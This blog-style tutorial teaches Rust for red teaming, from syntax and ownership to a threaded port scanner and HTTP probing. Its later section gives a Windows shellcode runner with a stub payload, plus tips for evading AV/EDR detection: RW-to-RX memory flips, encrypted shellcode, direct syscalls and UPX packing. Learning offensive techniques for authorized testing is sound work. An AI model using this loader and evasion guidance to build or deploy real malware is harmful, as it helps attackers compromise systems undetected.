Greetings, fellow hackers and aspiring pen testers! Today, we will explore the Rust programming language and uncover how this powerful and expressive language can enhance our red teaming and pen-testing adventures. As always, our “Programming Thursdays” aim to provide a wealth of code examples and practical insights into the chosen language. So buckle up, and let’s dive into the world of Rust!
Rust is not just another systems language; it is a paradigm shift. For a red teamer, it offers the performance of C/C++ with the memory safety guarantees that prevent the very vulnerabilities we often exploit. This might seem counterintuitive - why would an attacker use a “safe” language? The answer is simple: stable, high-speed tools that are less likely to crash and burn during a critical operation, combined with binaries that are significantly harder for defenders to analyze than their C# or Python equivalents. The White House’s 2024 cybersecurity strategy explicitly recommended moving to memory-safe languages like Rust, and ironically, the offensive security community has already embraced it.
In this guide, we will cover everything from fundamental syntax to advanced concurrency patterns, and finally land on creating a shellcode runner using the Windows API - safely.
1. Setting Up Your Rust Environment#
Before we write any code, let’s get our toolchain set up properly.
Installing Rust#
Rust is installed and managed via rustup, a command-line tool for managing Rust versions and associated tools.
Linux/macOS:
1
| curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
Windows:
Download and run the installer from rustup.rs.
After installation, ensure cargo (Rust’s package manager and build tool) is in your path:
1
2
| rustc --version
cargo --version
|
1
2
3
4
5
6
| # Add the Windows target for cross-compilation from Linux
rustup target add x86_64-pc-windows-gnu
# Install useful components
rustup component add clippy # Linter
rustup component add rustfmt # Code formatter
|
For Windows development, you’ll need a linker. On Linux, install mingw-w64:
1
2
3
4
5
| # Debian/Ubuntu
sudo apt install mingw-w64
# Arch
sudo pacman -S mingw-w64-gcc
|
Your First Rust Project#
1
2
3
4
| cargo new my_offensive_tool
cd my_offensive_tool
cargo build --release
cargo run
|
The Cargo.toml file manages dependencies, and src/main.rs is where your code lives.
2. Rust Language Fundamentals#
Before we can write exploits, we need to understand the basics.
Variables and Mutability#
Rust variables are immutable by default. This is a safety feature.
1
2
3
4
5
6
7
8
9
10
11
| fn main() {
let x = 5; // Immutable by default
// x = 6; // ERROR: cannot assign twice to immutable variable
let mut y = 10; // Mutable with 'mut' keyword
y = 20; // This is allowed
const MAX_PORTS: u16 = 65535; // Compile-time constant (SCREAMING_SNAKE_CASE)
println!("x = {}, y = {}, MAX = {}", x, y, MAX_PORTS);
}
|
Shadowing#
You can declare a new variable with the same name, “shadowing” the previous one. This is useful for type conversions:
1
2
3
4
5
| fn main() {
let spaces = " "; // &str (string slice)
let spaces = spaces.len(); // Now it's usize (integer)
println!("Number of spaces: {}", spaces);
}
|
Data Types#
Rust is statically typed, meaning the compiler must know all types at compile time.
Scalar Types:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| fn main() {
// Integers (default is i32)
let port: u16 = 443; // Unsigned 16-bit (0 to 65535)
let offset: i64 = -0x1000; // Signed 64-bit
let byte: u8 = 0x90; // NOP instruction
// Floats
let ratio: f64 = 0.75;
// Boolean
let is_admin: bool = true;
// Character (4 bytes, Unicode scalar value)
let emoji: char = '\u{1F480}'; // Skull emoji
println!("Port: {}, Is Admin: {}, Char: {}", port, is_admin, emoji);
}
|
Compound Types:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| fn main() {
// Tuple: fixed-length, mixed types
let target: (&str, u16, bool) = ("192.168.1.1", 445, true);
let (ip, port, is_open) = target; // Destructuring
println!("{}:{} - Open: {}", ip, port, is_open);
// Array: fixed-length, same type (stack allocated)
let shellcode: [u8; 4] = [0x90, 0x90, 0x90, 0xCC]; // NOPs + INT3
println!("First byte: 0x{:02X}", shellcode[0]);
// Vector: dynamic length (heap allocated)
let mut ports: Vec<u16> = Vec::new();
ports.push(22);
ports.push(80);
ports.push(443);
println!("Ports to scan: {:?}", ports);
}
|
Operators#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| fn main() {
// Arithmetic
let a = 10 + 5;
let b = 10 - 5;
let c = 10 * 5;
let d = 10 / 3; // Integer division = 3
let e = 10 % 3; // Remainder = 1
// Comparison (returns bool)
let equal = (5 == 5);
let not_equal = (5 != 3);
let greater = (5 > 3);
// Logical
let and = true && false;
let or = true || false;
let not = !true;
// Bitwise (crucial for shellcode and protocol work)
let xor = 0xAA ^ 0x55; // XOR encryption
let and_mask = 0xFF & 0x0F; // Masking
let shift_left = 1 << 3; // 8
let shift_right = 0x80 >> 4; // 0x08
println!("XOR: 0x{:02X}, Shift: {}", xor, shift_left);
}
|
Control Structures#
If/Else:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| fn check_port(port: u16) {
if port < 1024 {
println!("Port {} is privileged (requires root)", port);
} else if port == 3389 {
println!("Port {} is RDP - interesting!", port);
} else {
println!("Port {} is a high port", port);
}
}
// Rust's if is an expression - it returns a value
fn get_service(port: u16) -> &'static str {
if port == 22 { "SSH" } else if port == 80 { "HTTP" } else { "Unknown" }
}
|
Loops:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| fn main() {
// Infinite loop with break
let mut counter = 0;
let result = loop {
counter += 1;
if counter == 10 {
break counter * 2; // Returns 20
}
};
println!("Loop result: {}", result);
// While loop
let mut n = 3;
while n != 0 {
println!("{}...", n);
n -= 1;
}
println!("LIFTOFF!");
// For loop (most common, very safe)
let ports = [22, 80, 443, 3389];
for port in ports.iter() {
println!("Scanning port {}", port);
}
// Range-based for loop
for port in 1..1024 { // 1 to 1023 (exclusive)
// Do something
}
for port in 1..=1024 { // 1 to 1024 (inclusive)
// Do something
}
}
|
Functions#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| // Function with parameters and return type
fn calculate_checksum(data: &[u8]) -> u32 {
let mut sum: u32 = 0;
for byte in data {
sum = sum.wrapping_add(*byte as u32); // Prevent overflow panic
}
sum // No semicolon = implicit return
}
fn main() {
let payload: [u8; 4] = [0x90, 0x90, 0xCC, 0xC3];
let checksum = calculate_checksum(&payload);
println!("Checksum: 0x{:08X}", checksum);
}
|
3. The Core Secret: Ownership and Borrowing#
The single most important concept in Rust is Ownership. It is how Rust manages memory without a garbage collector. This is why Rust binaries are fast and predictable - no GC pauses during your time-sensitive exploit.
The Rules of Ownership#
- Each value in Rust has a variable that’s called its owner.
- There can only be one owner at a time.
- When the owner goes out of scope, the value is dropped (deallocated).
Moving vs. Copying#
Simple scalar types (integers, floats, booleans) implement the Copy trait and are copied on assignment. Complex types (String, Vec, etc.) are moved.
1
2
3
4
5
6
7
8
9
10
11
12
| fn main() {
// Copy semantics (stack-only data)
let x: i32 = 5;
let y = x; // x is COPIED, both are valid
println!("x = {}, y = {}", x, y); // Works!
// Move semantics (heap data)
let s1 = String::from("payload");
let s2 = s1; // s1 is MOVED to s2, s1 is now INVALID
// println!("{}", s1); // ERROR: borrow of moved value
println!("{}", s2); // Works!
}
|
Borrowing with References#
To use a value without taking ownership, you borrow it using a reference (&).
1
2
3
4
5
6
7
8
9
| fn main() {
let s1 = String::from("payload");
let len = calculate_length(&s1); // Pass a reference
println!("'{}' has {} bytes", s1, len); // s1 is still valid!
}
fn calculate_length(s: &String) -> usize {
s.len() // We can read s, but not modify it
}
|
Mutable Borrowing#
To modify a borrowed value, you need a mutable reference (&mut).
1
2
3
4
5
6
7
8
9
10
| fn main() {
let mut buffer = String::from("GET /");
append_host(&mut buffer, "target.com");
println!("{}", buffer); // "GET / HTTP/1.1\r\nHost: target.com"
}
fn append_host(request: &mut String, host: &str) {
request.push_str(" HTTP/1.1\r\nHost: ");
request.push_str(host);
}
|
The Borrowing Rules:
- You can have either one mutable reference or any number of immutable references.
- References must always be valid (no dangling pointers).
These rules prevent Data Races at compile time. This is why Rust guarantees “Fearless Concurrency.”
Why This Matters for Security#
Ownership and Borrowing prevent:
- Use After Free: The compiler won’t let you use a value after it’s been dropped.
- Double Free: Only one owner can drop a value.
- Data Races: Mutable and immutable references cannot coexist.
These are the root causes of most memory corruption exploits. Rust makes them impossible in safe code.
4. Advanced Patterns: Pattern Matching and Enums#
Rust’s match statement is like a switch on steroids. Combined with Enums, it allows for extremely clean logic, crucial when parsing protocols or exploit responses.
Enums with Data#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| enum ScanResult {
Open(u16), // Port number
Closed(u16),
Filtered(u16),
Error(u16, String), // Port and error message
}
fn handle_result(result: ScanResult) {
match result {
ScanResult::Open(port) => println!("[+] Port {} is OPEN", port),
ScanResult::Closed(port) => println!("[-] Port {} is closed", port),
ScanResult::Filtered(port) => println!("[?] Port {} is filtered", port),
ScanResult::Error(port, msg) => eprintln!("[!] Port {} error: {}", port, msg),
}
}
|
The Option Type#
Rust does not have null. Instead, it uses Option<T> to represent values that might be absent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| fn find_service(port: u16) -> Option<&'static str> {
match port {
22 => Some("SSH"),
80 => Some("HTTP"),
443 => Some("HTTPS"),
445 => Some("SMB"),
3389 => Some("RDP"),
_ => None,
}
}
fn main() {
let port = 445;
match find_service(port) {
Some(service) => println!("Port {} -> {}", port, service),
None => println!("Port {} -> Unknown service", port),
}
// Or use if-let for simpler cases
if let Some(svc) = find_service(22) {
println!("SSH detected: {}", svc);
}
}
|
The Result Type and Error Handling#
Rust does not have exceptions. It uses Result<T, E> to represent operations that can fail.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| use std::fs::File;
use std::io::{self, Read};
fn read_wordlist(path: &str) -> Result<String, io::Error> {
let mut file = File::open(path)?; // ? propagates error if open fails
let mut contents = String::new();
file.read_to_string(&mut contents)?;
Ok(contents)
}
fn main() {
match read_wordlist("/usr/share/wordlists/rockyou.txt") {
Ok(data) => println!("Loaded {} bytes", data.len()),
Err(e) => eprintln!("Failed to load wordlist: {}", e),
}
}
|
The ? operator is syntactic sugar for early return on error. It’s the idiomatic way to handle errors in Rust and keeps your code clean.
5. Structs and Implementations#
Structs are Rust’s way of creating custom data types with named fields.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| struct Target {
ip: String,
hostname: Option<String>,
ports: Vec<u16>,
is_dc: bool,
}
impl Target {
// Associated function (like a static method or constructor)
fn new(ip: &str) -> Self {
Target {
ip: ip.to_string(),
hostname: None,
ports: Vec::new(),
is_dc: false,
}
}
// Method (takes &self or &mut self)
fn add_port(&mut self, port: u16) {
if !self.ports.contains(&port) {
self.ports.push(port);
}
}
fn has_smb(&self) -> bool {
self.ports.contains(&445)
}
fn display(&self) {
let name = self.hostname.as_deref().unwrap_or("Unknown");
println!("[Target: {} ({})]", self.ip, name);
println!(" Ports: {:?}", self.ports);
println!(" Is DC: {}", self.is_dc);
}
}
fn main() {
let mut target = Target::new("192.168.1.10");
target.hostname = Some("DC01.corp.local".to_string());
target.add_port(445);
target.add_port(88);
target.add_port(389);
target.is_dc = true;
target.display();
if target.has_smb() {
println!("[+] SMB is open - consider relay attacks!");
}
}
|
6. Concurrency: A Multi-Threaded Port Scanner#
Rust guarantees “Fearless Concurrency.” It prevents data races at compile time through its ownership system. Let’s build a practical tool.
Basic Threading with Channels#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::mpsc::{channel, Sender};
use std::thread;
use std::time::Duration;
fn scan_port(tx: Sender<u16>, ip: IpAddr, port: u16) {
let addr = SocketAddr::new(ip, port);
// Timeout is critical for network scanning
if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
// Send the open port back to the main thread
tx.send(port).expect("Channel send failed");
}
}
fn main() {
let target: IpAddr = "127.0.0.1".parse().expect("Invalid IP");
let (tx, rx) = channel(); // Multi-producer, single-consumer channel
let mut handles = Vec::new();
// Scan first 1024 ports
for port in 1..=1024 {
let tx_clone = tx.clone();
let handle = thread::spawn(move || {
scan_port(tx_clone, target, port);
});
handles.push(handle);
}
// Drop original sender so receiver knows when to stop
drop(tx);
// Wait for all threads to complete
for handle in handles {
handle.join().expect("Thread panicked");
}
// Collect and print results
println!("\n[+] Open Ports:");
let mut open_ports: Vec<u16> = rx.iter().collect();
open_ports.sort();
for port in open_ports {
println!(" {}", port);
}
}
|
Thread Pooling with rayon#
Spawning a thread per port is inefficient for 65k ports. Use a thread pool:
1
2
3
| # Cargo.toml
[dependencies]
rayon = "1.8"
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| use rayon::prelude::*;
use std::net::{IpAddr, SocketAddr, TcpStream};
use std::sync::Mutex;
use std::time::Duration;
fn main() {
let target: IpAddr = "127.0.0.1".parse().unwrap();
let open_ports = Mutex::new(Vec::new());
// Parallel iteration over all ports
(1..=65535_u16).into_par_iter().for_each(|port| {
let addr = SocketAddr::new(target, port);
if TcpStream::connect_timeout(&addr, Duration::from_millis(100)).is_ok() {
open_ports.lock().unwrap().push(port);
}
});
let mut results = open_ports.into_inner().unwrap();
results.sort();
println!("[+] Open Ports on {}:", target);
for port in results {
println!(" {}", port);
}
}
|
The rayon crate handles thread pool management, work stealing, and load balancing automatically. This is production-quality parallelism in about 15 lines of code.
7. Networking: TCP and HTTP Clients#
For red team tools, we often need low-level network access.
Raw TCP Client#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
fn grab_banner(ip: &str, port: u16) -> Result<String, Box<dyn std::error::Error>> {
let addr = format!("{}:{}", ip, port);
let mut stream = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(5)
)?;
stream.set_read_timeout(Some(Duration::from_secs(3)))?;
// Some services send a banner immediately (SSH, FTP, SMTP)
let mut buffer = [0u8; 1024];
let n = stream.read(&mut buffer)?;
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}
fn main() {
match grab_banner("127.0.0.1", 22) {
Ok(banner) => println!("[+] SSH Banner:\n{}", banner.trim()),
Err(e) => eprintln!("[-] Error: {}", e),
}
}
|
HTTP Client with reqwest#
For higher-level HTTP work, use the reqwest crate:
1
2
3
| # Cargo.toml
[dependencies]
reqwest = { version = "0.11", features = ["blocking"] }
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| use reqwest::blocking::Client;
use std::time::Duration;
fn check_url(url: &str) -> Result<(u16, usize), reqwest::Error> {
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true) // Ignore TLS errors for internal testing
.build()?;
let resp = client.get(url).send()?;
let status = resp.status().as_u16();
let body = resp.text()?;
Ok((status, body.len()))
}
fn main() {
let urls = vec![
"http://localhost/",
"http://localhost/admin",
"http://localhost/robots.txt",
];
for url in urls {
match check_url(url) {
Ok((status, len)) => println!("[{}] {} ({} bytes)", status, url, len),
Err(_) => println!("[ERR] {}", url),
}
}
}
|
8. Red Team Special: Unsafe Rust and Windows API#
Sometimes, you need to bypass Rust’s safety checks to interact directly with the OS kernel, manipulate raw memory, or call foreign functions. This is where unsafe blocks come in.
What is unsafe?#
The unsafe keyword unlocks four abilities:
- Dereference a raw pointer.
- Call an unsafe function or method.
- Access or modify a mutable static variable.
- Implement an unsafe trait.
unsafe does not turn off the borrow checker. It just allows you to do things the compiler cannot verify.
The windows Crate#
Microsoft officially supports Rust on Windows and publishes the windows crate, which provides safe (and unsafe) bindings to the entire Windows API.
1
2
3
4
5
6
7
| # Cargo.toml
[dependencies]
windows = { version = "0.58", features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
] }
|
Shellcode Runner (Proof of Concept)#
This example allocates executable memory, copies shellcode, and runs it. This is a fundamental technique for malware development.
[!WARNING]
This is for educational purposes on systems you own or have explicit authorization to test. Deploying malware without authorization is illegal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
| #![cfg(target_os = "windows")]
use std::ptr;
use windows::Win32::System::Memory::{
VirtualAlloc, VirtualProtect,
MEM_COMMIT, MEM_RESERVE,
PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS,
};
/// Allocates memory, copies shellcode, and executes it.
/// Uses RW -> RX flip to avoid RWX pages (EDR red flag).
fn execute_shellcode(shellcode: &[u8]) -> Result<(), &'static str> {
unsafe {
// 1. Allocate Read-Write memory
let addr = VirtualAlloc(
None, // Let the system choose the address
shellcode.len(), // Size of the allocation
MEM_COMMIT | MEM_RESERVE, // Commit and reserve pages
PAGE_READWRITE, // Start with RW (not executable)
);
if addr.is_null() {
return Err("VirtualAlloc failed");
}
// 2. Copy shellcode into the allocated memory
ptr::copy_nonoverlapping(
shellcode.as_ptr(),
addr as *mut u8,
shellcode.len(),
);
// 3. Change protection from RW to RX
// This avoids the RWX red flag that EDRs look for
let mut old_protect = PAGE_PROTECTION_FLAGS::default();
let protect_result = VirtualProtect(
addr,
shellcode.len(),
PAGE_EXECUTE_READ,
&mut old_protect,
);
if protect_result.is_err() {
return Err("VirtualProtect failed");
}
// 4. Cast memory to a function pointer and execute
let exec_fn: extern "system" fn() = std::mem::transmute(addr);
exec_fn();
Ok(())
}
}
fn main() {
// Example: x64 Windows shellcode for calc.exe (replace with your payload)
// This is a stub - real shellcode would be generated by msfvenom or similar
let shellcode: [u8; 4] = [
0x90, // NOP
0x90, // NOP
0xCC, // INT3 (breakpoint - for debugging)
0xC3, // RET
];
println!("[*] Allocating memory and executing shellcode...");
match execute_shellcode(&shellcode) {
Ok(()) => println!("[+] Shellcode executed successfully"),
Err(e) => eprintln!("[-] Error: {}", e),
}
}
|
Key OpSec Considerations#
- Avoid RWX Pages: The example above uses
PAGE_READWRITE for copying, then VirtualProtect to flip to PAGE_EXECUTE_READ. This is stealthier than allocating PAGE_EXECUTE_READWRITE directly. - Encrypt Your Shellcode: Embed encrypted shellcode and decrypt it in memory before execution to evade static signature detection.
- Syscall Evasion: EDRs hook user-mode API calls. Advanced techniques call
NtAllocateVirtualMemory directly or use direct syscalls. - Compilation Profile: Use
--release for optimized binaries and consider stripping symbols.
Rust’s package manager, Cargo, is widely considered the best in any language ecosystem. Combined with crates.io (the package registry), you can add powerful functionality with a single line in Cargo.toml.
Useful Crates for Offensive Development#
| Crate | Purpose |
|---|
reqwest | HTTP client (sync and async) |
tokio | Async runtime for high-performance I/O |
clap | Command-line argument parsing |
serde / serde_json | Serialization/deserialization |
rayon | Data parallelism (thread pools) |
windows | Official Windows API bindings |
nix | Unix/Linux system calls |
pcap | Packet capture |
dns-lookup | DNS resolution |
base64 / hex | Encoding utilities |
ring / aes-gcm | Cryptography |
goblin | PE/ELF/Mach-O binary parsing |
Notable Offensive Rust Projects#
- RustScan: The modern port scanner. Claims to scan 65k ports in seconds by adaptively adjusting ulimit and using async I/O.
- Feroxbuster: A high-speed recursive content discovery tool (directory busting). Significantly faster than dirb or gobuster.
- Ripgrep (rg): Not strictly offensive, but the fastest grepping tool alive. Invaluable for log analysis and codebase searching.
- Haylxon: High-performance screenshot tool for web reconnaissance.
- RustRedOps: A repository of advanced offensive techniques implemented in Rust, including process injection, syscall evasion, and more.
- Sliver: While the primary codebase is Go, Sliver’s implant generation supports Rust for stealthier agents.
10. Cross-Compilation#
One of Rust’s strengths is its excellent cross-compilation support. You can build Windows executables from Linux.
Setup#
1
2
3
4
5
| # Add Windows target
rustup target add x86_64-pc-windows-gnu
# Install the linker
sudo apt install mingw-w64
|
Build#
1
| cargo build --release --target x86_64-pc-windows-gnu
|
Your executable will be in target/x86_64-pc-windows-gnu/release/.
Optimizing Binary Size#
Rust binaries can be large due to static linking and debug info. Add this to Cargo.toml:
1
2
3
4
5
6
| [profile.release]
opt-level = "z" # Optimize for size
lto = true # Link-Time Optimization
codegen-units = 1 # Single codegen unit for better optimization
panic = "abort" # No unwinding (smaller binary)
strip = true # Strip symbols
|
Then install and use upx for additional compression:
1
| upx --best target/release/your_tool.exe
|
11. Pros and Cons for Red Teamers#
| Feature | Rust | C/C++ | Python | Go |
|---|
| Performance | Excellent | Excellent | Poor | Good |
| Memory Safety | Compile-time | Manual | Managed | Managed (GC) |
| Binary Size | Medium-Large | Small | N/A (Interpreter) | Large |
| Cross-Compilation | Excellent | Difficult | N/A | Excellent |
| AV/EDR Evasion | Good (novel sigs) | Good | Poor (known tools) | Good |
| Learning Curve | Very Steep | High | Low | Moderate |
| Async I/O | Excellent | Difficult | Good (asyncio) | Excellent |
| Windows API | Excellent (windows crate) | Native | Poor | Good |
| Best Use Case | Agents, Exploit Dev | Shellcode, OS Dev | Scripting | Implants, Tooling |
Why Rust for Malware?#
- Novel Signatures: Most AV/EDR signatures are built around C, C++, C#, and PowerShell patterns. Rust compiles differently, and its standard library is less “known” to signature engines.
- Stability: Memory safety means your implant is less likely to crash during a critical operation.
- Performance: Async I/O with
tokio enables C2 agents that can handle thousands of concurrent connections. - Obfuscation: The compiled output is harder to reverse-engineer than C# or Go.
Conclusion#
Rust is the language of the future for offensive security. It provides the low-level control of C with the modern abstractions and safety guarantees of high-level languages. For malware development, it is rapidly becoming a favorite because identifying signatures in compiled Rust binaries is significantly harder for AV/EDR than analyzing C# or PowerShell.
By mastering Ownership, Borrowing, and the unsafe keyword, you can build tools that are not only faster than the competition but more reliable in the field. The learning curve is steep - the borrow checker will fight you at first - but the payoff is immense.
Happy coding, and happy hacking!
References#